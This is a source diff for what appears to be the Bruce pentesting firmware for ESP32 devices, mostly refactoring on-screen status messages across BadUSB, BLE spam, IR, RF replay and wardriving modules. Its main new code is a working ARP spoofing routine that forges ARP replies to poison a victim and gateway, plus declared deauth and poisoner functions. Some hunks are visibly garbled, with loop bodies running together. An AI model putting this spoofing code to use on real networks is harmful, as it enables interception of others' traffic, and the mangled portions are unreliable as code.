diff --git a/ports/lilygo-t-embed-cc1101/platformio.ini b/ports/lilygo-t-embed-cc1101/platformio.ini index 580447afd..87283d5eb 100644 --- a/ports/lilygo-t-embed-cc1101/platformio.ini +++ b/ports/lilygo-t-embed-cc1101/platformio.ini @@ -172,7 +172,8 @@ build_flags = lib_deps = ${env.lib_deps} lewisxhe/XPowersLib @0.2.6 - mathertel/RotaryEncoder @ ^1.5.3 + mathertel/RotaryEncoder @1.5.3 + [env:lilygo-t-embed] platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip @@ -332,5 +333,6 @@ build_flags = lib_deps = ${env.lib_deps} lewisxhe/XPowersLib @0.2.6 - mathertel/RotaryEncoder @ ^1.5.3 + mathertel/RotaryEncoder @1.5.3 + #################################### END OF LILYGO MODELS ####################################### diff --git a/src/core/display.cpp b/src/core/display.cpp index 9cc03ffda..a3b97f573 100644 --- a/src/core/display.cpp +++ b/src/core/display.cpp @@ -150,6 +150,18 @@ void displaySuccess(String txt, bool waitKeyPress) { while(waitKeyPress && !checkAnyKeyPress()) delay(100); } +void displaySomething(String txt, bool waitKeyPress) { + #ifndef HAS_SCREEN + Serial.println("MESSAGE: " + txt); + return; + #endif + // todo: add newlines to txt if too long + displayRedStripe(txt, getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor); + delay(200); + while(waitKeyPress && !checkAnyKeyPress()) delay(100); +} + + void setPadCursor(int16_t padx, int16_t pady) { for (int y=0; y& options, bool bright, bool submenu, String if(submenu) drawSubmenu(index, options, subText); else coord=drawOptions(index, options, bruceConfig.priColor, bruceConfig.bgColor); if(bright){ - setBrightness(String(options[index].label.c_str()).toInt(),false); + uint8_t bv = String(options[index].label.c_str()).toInt(); // Grabs the int value from menu option + if(bv>0) setBrightness(bv,false); // If valid, apply brightnes + else setBrightness(bruceConfig.bright,false); // if "Main Menu", bv==0, return brightness to default } redraw=false; delay(REDRAW_DELAY); @@ -1076,7 +1090,16 @@ bool showGIF(FS fs, String filename, int x, int y) { return false; } - +/*************************************************************************************** +** Function name: getComplementaryColor2 +** Description: Get simple complementary color in RGB565 format +***************************************************************************************/ +uint16_t getComplementaryColor2(uint16_t color) { + int r = 31-((color >> 11) & 0x1F); + int g = 63-((color >> 5) & 0x3F); + int b = 31-(color & 0x1F); + return (r<<11) | (g<<5) | b; +} /*************************************************************************************** ** Function name: getComplementaryColor ** Description: Get complementary color in RGB565 format diff --git a/src/core/display.h b/src/core/display.h index a1e6857a4..6d94e82a5 100644 --- a/src/core/display.h +++ b/src/core/display.h @@ -24,6 +24,7 @@ bool showGIF(FS fs,String filename, int x=0, int y=0); bool showJpeg(FS fs,String filename, int x=0, int y=0, bool center = false); uint16_t getComplementaryColor(uint16_t color); +uint16_t getComplementaryColor2(uint16_t color); uint16_t getColorVariation(uint16_t color, int delta = 10, int direction = 0); void resetTftDisplay(int x = 0, int y = 0, uint16_t fc = bruceConfig.priColor, int size = FM, uint16_t bg = bruceConfig.bgColor, uint16_t screen = bruceConfig.bgColor); @@ -31,11 +32,11 @@ void setTftDisplay(int x = 0, int y = 0, uint16_t fc = tft.textcolor, int size = void displayRedStripe(String text, uint16_t fgcolor = TFT_WHITE, uint16_t bgcolor = TFT_RED); -void displayError(String txt, bool waitKeyPress = false); // Faixa vermelha -void displayWarning(String txt, bool waitKeyPress = false);// Faixa amarela -void displayInfo(String txt, bool waitKeyPress = false); // Faixa Azul -void displaySuccess(String txt, bool waitKeyPress = false);// Faixa Verde - +void displayError(String txt, bool waitKeyPress = false); // Red Stripe +void displayWarning(String txt, bool waitKeyPress = false); // Yellow Stripe +void displayInfo(String txt, bool waitKeyPress = false); // Blue Stripe +void displaySuccess(String txt, bool waitKeyPress = false); // Green Strupe +void displaySomething(String txt, bool waitKeyPress = false); // UI Colored stripe void setPadCursor(int16_t padx=1, int16_t pady=0); void padprintf(int16_t padx, const char *format, ...); diff --git a/src/core/settings.cpp b/src/core/settings.cpp index 79a9ed035..feaf18114 100644 --- a/src/core/settings.cpp +++ b/src/core/settings.cpp @@ -87,7 +87,7 @@ void setBrightnessMenu() { {"50 %", [=]() { setBrightness(50); }, bruceConfig.bright == 50 }, {"25 %", [=]() { setBrightness(25); }, bruceConfig.bright == 25 }, {" 1 %", [=]() { setBrightness(1); }, bruceConfig.bright == 1 }, - {"Main Menu", [=]() { backToMenu(); }}, + {"Main Menu", [=]() { backToMenu(); }}, // this one bugs the brightness selection }; delay(200); loopOptions(options, true,false,"",idx); diff --git a/src/core/wifi_common.cpp b/src/core/wifi_common.cpp index 6c8d02a76..48ff78954 100644 --- a/src/core/wifi_common.cpp +++ b/src/core/wifi_common.cpp @@ -107,7 +107,7 @@ bool wifiConnectMenu(wifi_mode_t mode) case WIFI_STA: // station mode int nets; WiFi.mode(WIFI_MODE_STA); - displayRedStripe("Scanning..", TFT_WHITE, bruceConfig.priColor); + displaySomething("Scanning.."); nets = WiFi.scanNetworks(); options = {}; for (int i = 0; i < nets; i++) { diff --git a/src/modules/ble/bad_ble.cpp b/src/modules/ble/bad_ble.cpp index 4cb0349cf..88c62c731 100644 --- a/src/modules/ble/bad_ble.cpp +++ b/src/modules/ble/bad_ble.cpp @@ -284,23 +284,19 @@ void ble_setup() { if (!kbChosen_ble) Kble.begin(); // starts the KeyboardLayout_en_US as default if nothing had beed chosen (cancel selection) Ask_for_restart=1; // arm the flag first_time=false; - displayRedStripe("Waiting Victim",TFT_WHITE, bruceConfig.priColor); + displaySomething("Waiting Victim"); } while (!Kble.isConnected() && !checkEscPress()); if(Kble.isConnected()) { BLEConnected=true; - displayRedStripe("Preparing",TFT_WHITE, bruceConfig.priColor); + displaySomething("Preparing"); delay(1000); displayWarning(String(BTN_ALIAS) + " to deploy", true); delay(200); key_input_ble(*fs, bad_script); - displayRedStripe("Payload Sent",TFT_WHITE, bruceConfig.priColor); - checkSelPress(); - while (!checkSelPress()) { - // nothing here, just to hold the screen press Ok of M5. - } + displaySomething("Payload Sent",true); if(returnToMenu) goto End; // when cancel the run in the middle, go to End to turn off BLE services // Try to run a new script on the same device @@ -321,7 +317,7 @@ void ble_MediaCommands() { if(!Kble.isConnected()) Kble.begin(); - displayRedStripe("Pairing...",TFT_WHITE, bruceConfig.priColor); + displaySomething("Pairing..."); while (!Kble.isConnected() && !checkEscPress()); @@ -380,7 +376,7 @@ void ble_keyboard() { if (!kbChosen_ble) Kble.begin(); // starts the KeyboardLayout_en_US as default if nothing had beed chosen (cancel selection) Ask_for_restart=1; Reconnect: - displayRedStripe("Pair to start",TFT_WHITE, bruceConfig.priColor); + displaySomething("Pair to start"); while (!Kble.isConnected() && !checkEscPress()); // loop to wait for the connection callback or ESC diff --git a/src/modules/ble/ble_common.cpp b/src/modules/ble/ble_common.cpp index fb9a62ffb..2b754f685 100644 --- a/src/modules/ble/ble_common.cpp +++ b/src/modules/ble/ble_common.cpp @@ -107,7 +107,7 @@ void ble_scan_setup() void ble_scan() { - displayRedStripe("Scanning..", TFT_WHITE, bruceConfig.priColor); + displaySomething("Scanning.."); options = { }; ble_scan_setup(); diff --git a/src/modules/ble/ble_spam.cpp b/src/modules/ble/ble_spam.cpp index 0e152f1f6..582f43db0 100644 --- a/src/modules/ble/ble_spam.cpp +++ b/src/modules/ble/ble_spam.cpp @@ -451,23 +451,23 @@ void aj_adv(int ble_choice){ switch(ble_choice){ case 0: // Applejuice - displayRedStripe("iOS Spam (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor); + displaySomething("iOS Spam (" + String(count) + ")"); executeSpam(Apple); break; case 1: // SwiftPair - displayRedStripe("SwiftPair (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor); + displaySomething("SwiftPair (" + String(count) + ")"); executeSpam(Microsoft); break; case 2: // Samsung - displayRedStripe("Samsung (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor); + displaySomething("Samsung (" + String(count) + ")"); executeSpam(Samsung); break; case 3: // Android - displayRedStripe("Android (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor); + displaySomething("Android (" + String(count) + ")"); executeSpam(Google); break; case 4: // Tutti-frutti - displayRedStripe("Spam All (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor); + displaySomething("Spam All (" + String(count) + ")"); if(mael == 0) executeSpam(Google); if(mael == 1) executeSpam(Samsung); if(mael == 2) executeSpam(Microsoft); diff --git a/src/modules/fm/fm.cpp b/src/modules/fm/fm.cpp index 25a195772..3e7286c89 100644 --- a/src/modules/fm/fm.cpp +++ b/src/modules/fm/fm.cpp @@ -35,7 +35,7 @@ uint16_t fm_scan() { min_noise = radio.currNoiseLevel; tft.fillScreen(bruceConfig.bgColor); - displayRedStripe("Scanning...", TFT_WHITE, bruceConfig.priColor); + displaySomething("Scanning..."); for (f=8750; f<10800; f+=10) { Serial.print("Measuring "); Serial.print(f); Serial.print("..."); radio.readTuneMeasure(f); @@ -51,7 +51,7 @@ uint16_t fm_scan() { sprintf(display_freq, "Found %d MHz", freq_candidate); tft.fillScreen(bruceConfig.bgColor); - displayRedStripe(display_freq, TFT_WHITE, bruceConfig.priColor); + displaySomething(display_freq); while(!checkEscPress() && !checkSelPress()) { delay(100); } @@ -64,7 +64,7 @@ void fm_options_frq(uint16_t f_min, bool reserved) { char f_str[5]; uint16_t f_max; // Choose between scan for best freq or select freq - displayRedStripe("Choose frequency", TFT_WHITE, bruceConfig.priColor); + displaySomething("Choose frequency"); delay(1000); // Handle min / max frequency @@ -96,7 +96,7 @@ void fm_options_digit(uint16_t f_min, bool reserved) { char f_str[5]; uint16_t f_max; // Choose between scan for best freq or select freq - displayRedStripe("Choose digit", TFT_WHITE, bruceConfig.priColor); + displaySomething("Choose digit"); delay(1000); // Handle min / max frequency @@ -133,7 +133,7 @@ void fm_options_digit(uint16_t f_min, bool reserved) { void fm_options(uint16_t f_min, uint16_t f_max, bool reserved) { char f_str[5]; // Choose between scan for best freq or select freq - displayRedStripe("Choose tens", TFT_WHITE, bruceConfig.priColor); + displaySomething("Choose tens"); delay(1000); options = { }; @@ -229,10 +229,7 @@ bool fm_begin() { if (!radio.begin()) { // begin with address 0x63 (CS high default) tft.fillScreen(bruceConfig.bgColor); Serial.println("Cannot find radio"); - displayRedStripe("Cannot find radio", TFT_WHITE, bruceConfig.priColor); - while(!checkEscPress() && !checkSelPress()) { - delay(100); - } + displaySomething("Cannot find radio",true); return false; } diff --git a/src/modules/gps/gps_tracker.cpp b/src/modules/gps/gps_tracker.cpp index 6c3b61759..20f12844b 100644 --- a/src/modules/gps/gps_tracker.cpp +++ b/src/modules/gps/gps_tracker.cpp @@ -45,7 +45,7 @@ bool GPSTracker::begin_gps() { end(); return false; } - displayRedStripe("Waiting GPS: " + String(count)+ "s", TFT_WHITE, bruceConfig.priColor); + displaySomething("Waiting GPS: " + String(count)+ "s"); count++; delay(1000); } diff --git a/src/modules/gps/wardriving.cpp b/src/modules/gps/wardriving.cpp index c08ce48cb..d82a6bdde 100644 --- a/src/modules/gps/wardriving.cpp +++ b/src/modules/gps/wardriving.cpp @@ -51,7 +51,7 @@ bool Wardriving::begin_gps() { end(); return false; } - displayRedStripe("Waiting GPS: " + String(count)+ "s", TFT_WHITE, bruceConfig.priColor); + displaySomething("Waiting GPS: " + String(count)+ "s"); count++; delay(1000); } diff --git a/src/modules/ir/TV-B-Gone.cpp b/src/modules/ir/TV-B-Gone.cpp index de016acfa..8b0eb57fe 100644 --- a/src/modules/ir/TV-B-Gone.cpp +++ b/src/modules/ir/TV-B-Gone.cpp @@ -169,7 +169,7 @@ void StartTvBGone() { if (checkSelPress()) // Pause TV-B-Gone { while (checkSelPress()) yield(); - displayRedStripe("Paused", TFT_WHITE, bruceConfig.bgColor); + displaySomething("Paused"); while (!checkSelPress()){ // If Presses Select again, continues if(checkEscPress()) { @@ -181,7 +181,7 @@ void StartTvBGone() { yield(); } if (endingEarly) break; // Cancels TV-B-Gone - displayRedStripe("Running, Wait", TFT_WHITE, bruceConfig.priColor); + displaySomething("Running, Wait"); } } //end of POWER code for loop @@ -189,7 +189,7 @@ void StartTvBGone() { if (endingEarly==false) { - displayRedStripe("All codes sent!", TFT_WHITE, bruceConfig.priColor); + displaySomething("All codes sent!"); //pause for ~1.3 sec, then flash the visible LED 8 times to indicate that we're done delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms diff --git a/src/modules/ir/custom_ir.cpp b/src/modules/ir/custom_ir.cpp index 59a578a23..56dd6f4bf 100644 --- a/src/modules/ir/custom_ir.cpp +++ b/src/modules/ir/custom_ir.cpp @@ -199,7 +199,7 @@ bool txIrFile(FS *fs, String filepath) { if (checkSelPress()) // Pause TV-B-Gone { while (checkSelPress()) yield(); - displayRedStripe("Paused", TFT_WHITE, bruceConfig.bgColor); + displaySomething("Paused"); while (!checkSelPress()){ // If Presses Select again, continues if(checkEscPress()) { @@ -211,7 +211,7 @@ bool txIrFile(FS *fs, String filepath) { yield(); } if (endingEarly) break; // Cancels custom IR Spam - displayRedStripe("Running, Wait", TFT_WHITE, bruceConfig.priColor); + displaySomething("Running, Wait"); } } // end while file has lines to process databaseFile.close(); @@ -350,7 +350,7 @@ void otherIRcodes() { void sendNECCommand(String address, String command) { IRsend irsend(bruceConfig.irTx); // Set the GPIO to be used to sending the message. irsend.begin(); - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); uint8_t first_zero_byte_pos = address.indexOf("00", 2); if(first_zero_byte_pos!=-1) address = address.substring(0, first_zero_byte_pos); first_zero_byte_pos = command.indexOf("00", 2); @@ -367,7 +367,7 @@ void sendNECCommand(String address, String command) { void sendRC5Command(String address, String command) { IRsend irsend(bruceConfig.irTx,true); // Set the GPIO to be used to sending the message. irsend.begin(); - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); uint8_t addressValue = strtoul(address.substring(0,2).c_str(), nullptr, 16); uint8_t commandValue = strtoul(command.substring(0,2).c_str(), nullptr, 16); uint16_t data = irsend.encodeRC5(addressValue, commandValue); @@ -379,7 +379,7 @@ void sendRC5Command(String address, String command) { void sendRC6Command(String address, String command) { IRsend irsend(bruceConfig.irTx,true); // Set the GPIO to be used to sending the message. irsend.begin(); - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); uint32_t addressValue = strtoul(address.c_str(), nullptr, 16); uint32_t commandValue = strtoul(command.c_str(), nullptr, 16); uint64_t data = irsend.encodeRC6(addressValue, commandValue); @@ -391,7 +391,7 @@ void sendRC6Command(String address, String command) { void sendSamsungCommand(String address, String command) { IRsend irsend(bruceConfig.irTx); // Set the GPIO to be used to sending the message. irsend.begin(); - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); //uint64_t data = ((uint64_t)strtoul(address.c_str(), nullptr, 16) << 32) | strtoul(command.c_str(), nullptr, 16); uint32_t addressValue = strtoul(address.c_str(), nullptr, 16); uint32_t commandValue = strtoul(command.c_str(), nullptr, 16); @@ -406,7 +406,7 @@ void sendSamsungCommand(String address, String command) { void sendSonyCommand(String address, String command) { IRsend irsend(bruceConfig.irTx); // Set the GPIO to be used to sending the message. irsend.begin(); - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); uint16_t commandValue = strtoul(command.substring(0,2).c_str(), nullptr, 16); uint16_t addressValue = strtoul(address.substring(0,2).c_str(), nullptr, 16); uint16_t addressValue2 = strtoul(address.substring(3,6).c_str(), nullptr, 16); @@ -422,7 +422,7 @@ void sendSonyCommand(String address, String command) { void sendPanasonicCommand(String address, String command) { IRsend irsend(bruceConfig.irTx); // Set the GPIO to be used to sending the message. irsend.begin(); - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); uint8_t first_zero_byte_pos = address.indexOf("00", 2); if(first_zero_byte_pos!=-1) address = address.substring(0, first_zero_byte_pos); // needs to invert endianess @@ -455,7 +455,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) { IRsend irsend(bruceConfig.irTx); // Set the GPIO to be used to sending the message. irsend.begin(); bool success = false; - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); if(hasACState(type)) { // need to send the state (still passed from value) @@ -488,7 +488,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) { void sendRawCommand(uint16_t frequency, String rawData) { IRsend irsend(bruceConfig.irTx); // Set the GPIO to be used to sending the message. irsend.begin(); - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); uint16_t dataBuffer[SAFE_STACK_BUFFER_SIZE/2]; // MEMO: stack overflow with full buffer size uint16_t count = 0; diff --git a/src/modules/others/bad_usb.cpp b/src/modules/others/bad_usb.cpp index 9f9894a9d..a73e28abb 100644 --- a/src/modules/others/bad_usb.cpp +++ b/src/modules/others/bad_usb.cpp @@ -298,7 +298,7 @@ void usb_setup() { mySerial.write(0x00); while(mySerial.available()<=0) { if(mySerial.available()<=0) { - displayRedStripe("CH9329 -> USB",TFT_WHITE,bruceConfig.priColor); + displaySomething("CH9329 -> USB"); delay(200); mySerial.write(0x00); } else break; @@ -309,7 +309,7 @@ void usb_setup() { } #endif - displayRedStripe("Preparing",TFT_WHITE, bruceConfig.priColor); // Time to Computer or device recognize the USB HID + displaySomething("Preparing"); // Time to Computer or device recognize the USB HID delay(2000); first_time=false; } @@ -317,11 +317,8 @@ void usb_setup() { delay(200); key_input(*fs, bad_script); - displayRedStripe("Payload Sent",TFT_WHITE, bruceConfig.priColor); - checkSelPress(); - while (!checkSelPress()) { - // nothing here, just to hold the screen press Ok of M5. - } + displaySomething("Payload Sent",true); + if(returnToMenu) return; // Try to run a new script on the same device goto NewScript; diff --git a/src/modules/pwnagotchi/spam.cpp b/src/modules/pwnagotchi/spam.cpp index 7e5eb6077..e77f47a6b 100644 --- a/src/modules/pwnagotchi/spam.cpp +++ b/src/modules/pwnagotchi/spam.cpp @@ -347,7 +347,7 @@ void send_pwnagotchi_beacon_main() { // Check if file was loaded if (num_faces == 0 or num_names == 0) { - displayRedStripe("No config file", TFT_WHITE, bruceConfig.priColor); + displaySomething("No config file"); delay(1000); return; } diff --git a/src/modules/rf/rf.cpp b/src/modules/rf/rf.cpp index 7aa5f039a..81c51be91 100644 --- a/src/modules/rf/rf.cpp +++ b/src/modules/rf/rf.cpp @@ -1113,7 +1113,7 @@ void sendRfCommand(struct RfCodes rfcode) { transmittimings[transmittimings_idx] = 0; // termination // send rf command - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); RCSwitch_RAW_send(transmittimings); free(transmittimings); } @@ -1138,7 +1138,7 @@ void sendRfCommand(struct RfCodes rfcode) { Serial.println(pulse); Serial.println(rcswitch_protocol_no); * */ - displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor); + displaySomething("Sending.."); RCSwitch_send(data_val, bits, pulse, rcswitch_protocol_no, repeat); } else if(protocol.startsWith("Princeton")) { @@ -1402,31 +1402,34 @@ void rf_scan_copy() { drawMainBorder(); tft.setCursor(10, 28); tft.setTextSize(FP); - tft.println("Waiting for signal."); - tft.setCursor(10, tft.getCursorY()); - if (bruceConfig.rfFxdFreq) { - if (_try >= _MAX_TRIES) { - tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor); - } + if(received.data!="") rf_scan_copy_draw_signal(received,signals,ReadRAW); + else { + tft.println("Waiting for signal."); + tft.setCursor(10, tft.getCursorY()); + if (bruceConfig.rfFxdFreq) { + if (_try >= _MAX_TRIES) { + tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor); + } - tft.println("Freq: " + String(bruceConfig.rfFreq) + " MHz"); + tft.println("Freq: " + String(bruceConfig.rfFreq) + " MHz"); - if (_try >= _MAX_TRIES) { - tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); - } - } - else { - tft.println("Range: " + String(sz_range[bruceConfig.rfScanRange])); - } + if (_try >= _MAX_TRIES) { + tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + } + } + else { + tft.println("Range: " + String(sz_range[bruceConfig.rfScanRange])); + } - if(ReadRAW) { - tft.setCursor(10, tft.getCursorY()+LH); - tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor); - tft.println("Reading RAW data."); - tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + if(ReadRAW) { + tft.setCursor(10, tft.getCursorY()+LH); + tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor); + tft.println("Reading RAW data."); + tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor); + } + tft.setCursor(10, tft.getCursorY()+LH*2); + tft.println("Press [NEXT] for range."); } - tft.setCursor(10, tft.getCursorY()+LH*2); - tft.println("Press [NEXT] for range."); if (bruceConfig.rfFxdFreq) { frequency = bruceConfig.rfFreq; @@ -1568,12 +1571,16 @@ void rf_scan_copy() { Menu: int option = -1; options={}; - if(received.data!="") options.push_back({ "Replay", [&]() { option = 0; } }); + if(received.data!="") { + options.push_back({ "Replay", [&]() { option = 0; } }); + options.push_back({ "Save Signal", [&]() { option = 2; } }); + options.push_back({ "Reset Signal", [&]() { option = 3; } }); + } if(bruceConfig.rfModule==CC1101_SPI_MODULE) options.push_back({ "Range", [&]() { option = 1; } }); - if(received.data!="") options.push_back({ "Signal", [&]() { option = 2; } }); - if(ReadRAW) options.push_back({ "Stop RAW", [&ReadRAW]() { ReadRAW=false; } }); - else options.push_back({ "Read RAW", [&ReadRAW]() { ReadRAW=true; } }); - options.push_back({ "Close Menu", [&]() { option=-1; } }); + if(received.data!="") + if(ReadRAW) options.push_back({ "Stop RAW", [&]() { ReadRAW=false; } }); + else options.push_back({ "Read RAW", [&]() { ReadRAW=true; } }); + options.push_back({ "Close Menu", [&]() { option =-1; } }); options.push_back({ "Main Menu", [=]() { returnToMenu=true; } }); delay(200); @@ -1583,9 +1590,18 @@ void rf_scan_copy() { if(returnToMenu) break; - if(option==0) goto ReplaySignal; + if(option ==0 ) { // Replay signal + ReplaySignal: + rcswitch.disableReceive(); + sendRfCommand(received); + addToRecentCodes(received); - if (option == 1) { + deinitRfModule(); + delay(200); + goto RestartScan; + } + + if (option == 1) { // Range option=0; options = { { String("Fxd [" + String(bruceConfig.rfFreq) + "]").c_str(), [=]() { bruceConfig.setRfScanRange(bruceConfig.rfScanRange, 1); } }, @@ -1602,7 +1618,8 @@ void rf_scan_copy() { if(option == 1) { options = {}; int ind=0; - for(int i=0; i<57;i++) { //57 items in subghz_frequency_list + int arraySize = sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); + for(int i=0; i //use PCAP file saving functions +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +// Função para converter IP para string +String ipToString(const uint8_t* ip) { + return String(ip[0]) + "." + String(ip[1]) + "." + String(ip[2]) + "." + String(ip[3]); +} + +// Função para converter MAC para string +String macToString(const uint8_t* mac) { + char buf[18]; + sprintf(buf, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + return String(buf); +} + +void stringToMAC(const std::string& macStr, uint8_t MAC[6]) { + std::stringstream ss(macStr); + unsigned int temp; + for (int i = 0; i < 6; ++i) { + char delimiter; + ss >> std::hex >> temp; + MAC[i] = static_cast(temp); + ss >> delimiter; + } +} + +// Função para obter o MAC do gateway +void getGatewayMAC(uint8_t gatewayMAC[6]) { + wifi_ap_record_t ap_info; + if (esp_wifi_sta_get_ap_info(&ap_info) == ESP_OK) { + memcpy(gatewayMAC, ap_info.bssid, 6); + Serial.print("Gateway MAC: "); + Serial.println(macToString(gatewayMAC)); + } else { + Serial.println("Erro ao obter informações do AP."); + } +} + +// Function provided by @Fl1p, thank you brother! +// Função para enviar pacotes ARP falsificados +void sendARPPacket(uint8_t *targetIP, uint8_t *targetMAC, uint8_t *spoofedIP, uint8_t *spoofedMAC, File pcapFile) { + struct eth_hdr *ethhdr; + struct etharp_hdr *arphdr; + struct pbuf *p; + struct netif *netif; + + + // Obter interface de rede + netif = netif_list; + if (netif == NULL) { + Serial.println("Nenhuma interface de rede encontrada!"); + return; + } + + // Alocar pbuf para o pacote ARP + p = pbuf_alloc(PBUF_RAW, sizeof(struct eth_hdr) + sizeof(struct etharp_hdr), PBUF_RAM); + if (p == NULL) { + Serial.println("Falha ao alocar pbuf!"); + return; + } + + ethhdr = (struct eth_hdr *)p->payload; + arphdr = (struct etharp_hdr *)((u8_t *)p->payload + SIZEOF_ETH_HDR); + + // Preencher cabeçalho Ethernet + MEMCPY(ðhdr->dest, targetMAC, ETH_HWADDR_LEN); // MAC do alvo (vítima ou gateway) + MEMCPY(ðhdr->src, spoofedMAC, ETH_HWADDR_LEN); // MAC do atacante (nosso) + ethhdr->type = PP_HTONS(ETHTYPE_ARP); + + // Preencher cabeçalho ARP + arphdr->hwtype = PP_HTONS(1); // 1 é o código para Ethernet no campo hardware type (hwtype) + arphdr->proto = PP_HTONS(ETHTYPE_IP); + arphdr->hwlen = ETH_HWADDR_LEN; + arphdr->protolen = sizeof(ip4_addr_t); + arphdr->opcode = PP_HTONS(ARP_REPLY); + + MEMCPY(&arphdr->shwaddr, spoofedMAC, ETH_HWADDR_LEN); // MAC falsificado (gateway ou vítima) + MEMCPY(&arphdr->sipaddr, spoofedIP, sizeof(ip4_addr_t)); // IP falsificado (gateway ou vítima) + MEMCPY(&arphdr->dhwaddr, targetMAC, ETH_HWADDR_LEN); // MAC real do alvo (vítima ou gateway) + MEMCPY(&arphdr->dipaddr, targetIP, sizeof(ip4_addr_t)); // IP real do alvo (vítima ou gateway) + + // Enviar o pacote + netif->linkoutput(netif, p); + pbuf_free(p); + Serial.println("Pacote ARP enviado!"); + + // Capturar o pacote no arquivo PCAP + if (pcapFile) { + pcapFile.write((const uint8_t *)p->payload, p->tot_len); // don't know if it will work + pcapFile.flush(); + } + +} + + +// Converts from IP String to byte array +bool parseIPString(const String &ipStr, uint8_t *ipArray) { + int parts[4] = {0}; + int count = sscanf(ipStr.c_str(), "%d.%d.%d.%d", &parts[0], &parts[1], &parts[2], &parts[3]); + if (count == 4) { + for (int i = 0; i < 4; i++) { + ipArray[i] = (uint8_t)parts[i]; + } + return true; + } + return false; +} +bool arpPCAPfile(File &pcapFile) { + static int nf=0; + FS *fs; + if(setupSdCard()) fs=&SD; + else { + fs=&LittleFS; + } + if(!fs->exists("/BrucePCAP")) fs->mkdir("/BrucePCAP"); + while(fs->exists(String("/BrucePCAP/ARP_session_" + String(nf++) + ".pcap").c_str())) yield(); + pcapFile = fs->open(String("/BrucePCAP/ARP_session_" + String(nf) + ".pcap").c_str(), FILE_WRITE); + if(pcapFile) return true; + else return false; +} + +void arpSpoofing(const Host& host, bool mitm) { + + uint8_t gatewayIP[4];// Gateway IP Address + uint8_t victimIP[4]; // Victim IP Address + uint8_t gatewayMAC[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; + uint8_t victimMAC[6] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; + uint8_t myMAC[6]; // ESP32 MAC Address + + File pcapFile; + if(!arpPCAPfile(pcapFile)) Serial.println("Fail creating ARP Pcap file"); + writeHeader(pcapFile); // write pcap header into the file + + // Get the MAC from the attacker (bruce MAC) + esp_read_mac(myMAC, ESP_MAC_WIFI_STA); + for(int i=0; i<4; i++) victimIP[i] = host.ip[i]; + stringToMAC(host.mac.c_str(),victimMAC); + getGatewayMAC(gatewayMAC); + IPAddress gatewayIp = WiFi.gatewayIP(); + for(int i=0; i<4; i++) gatewayIP[i] = gatewayIp[i]; + + drawMainBorderWithTitle("ARP Spoofing"); + padprintln(""); + padprintln("Single Target Attack."); + + if(mitm) { + tft.setTextSize(FP); + //padprintln("Man in The middle Activated"); + //padprintln("/BrucePCAP/ARP_session_" + String(nf) + ".pcap"); + Serial.println("Still in development"); + } + padprintln("Tgt:" + host.mac); + padprintln("Tgt: " + ipToString(victimIP)); + padprintln("GTW:" + macToString(gatewayMAC)); + padprintln(""); + padprintln("Press Any key to STOP."); + + + long tmp=0; + int count=0; + while(!checkAnyKeyPress()) { + if(tmp+20001000) { + tft.drawRightString(String(cont) + " fps", WIDTH-12,HEIGHT-16,1); + cont=0; + tmp=millis(); + } + } + + memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default)); + wifiDisconnect(); +} \ No newline at end of file diff --git a/src/modules/wifi/scan_hosts.h b/src/modules/wifi/scan_hosts.h index e4cc72b39..7a6bf848f 100644 --- a/src/modules/wifi/scan_hosts.h +++ b/src/modules/wifi/scan_hosts.h @@ -17,4 +17,22 @@ void local_scan_setup(); void hostInfo(const Host& host); -void afterScanOptions(const Host& ip); \ No newline at end of file +void afterScanOptions(const Host& ip); + +String ipToString(const uint8_t* ip); + +bool parseIPString(const String &ipStr, uint8_t *ipArray); + +String macToString(const uint8_t* mac); + +void stringToMAC(const std::string& macStr, uint8_t MAC[6]); + +void getGatewayMAC(uint8_t gatewayMAC[6]); + +void sendARPPacket(uint8_t *targetIP, uint8_t *targetMAC, uint8_t *spoofedIP, uint8_t *spoofedMAC, File pcapFile); + +void arpSpoofing(const Host& host, bool mitm); + +void arpPoisoner(); + +void stationDeauth(Host host); \ No newline at end of file diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp index e8c6485bf..856579f4e 100644 --- a/src/modules/wifi/sniffer.cpp +++ b/src/modules/wifi/sniffer.cpp @@ -32,6 +32,7 @@ #include #include #endif +#include "modules/wifi/wifi_atks.h" // to use 